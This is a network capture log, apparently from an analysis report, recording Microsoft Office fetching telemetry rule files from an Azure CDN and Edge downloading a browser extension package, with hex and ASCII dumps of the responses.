Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:40 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:40 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003840Z-16547b76f7fgfpmjhC1DFWw6ec0000000310000000008kut x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:40 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:40 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:40 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 7b0cde1b-901e-005b-3fc4-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003840Z-16547b76f7fl5zvnhC1DFWtk9g000000022g0000000013fc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:40 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:41 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 5ce9ffef-801e-0015-6fd2-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003841Z-16547b76f7fm8pcwhC1DFWaxcc00000001ng00000000c5et x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:41 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:41 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: e612f54f-b01e-003d-2faf-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003841Z-1866b5c5fbbtpjhjhC1DFWr6tw00000003h0000000006hf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:41 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:41 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:41 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: a0c7144d-101e-007a-2509-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003841Z-16547b76f7fqqjnnhC1DFWxv7400000001ug00000000cua4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:41 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:41 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:41 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: ecab8261-801e-00a3-2dbb-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003841Z-16547b76f7fht2hfhC1DFWbngg00000003xg00000000d6m8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:41 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:41 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:41 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: f87a9289-e01e-0099-41af-36da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003841Z-16547b76f7ftfv4jhC1DFWuhug000000010g00000000rhn3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:41 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49889	142.250.185.65	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:41 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 00:38:41 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC5Xc7PCblPSMtjmlgODCsbBt0jlAicAKrRp_k-iKuZnr-2lW4aJrD9jR7ZEIrq5AFBQA7Y X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sat, 16 Nov 2024 17:35:54 GMT Expires: Sun, 16 Nov 2025 17:35:54 GMT Cache-Control: public, max-age=31536000 Age: 25367 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-17 00:38:41 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-17 00:38:41 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-11-17 00:38:41 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-11-17 00:38:41 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-17 00:38:41 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-11-17 00:38:41 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-11-17 00:38:41 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 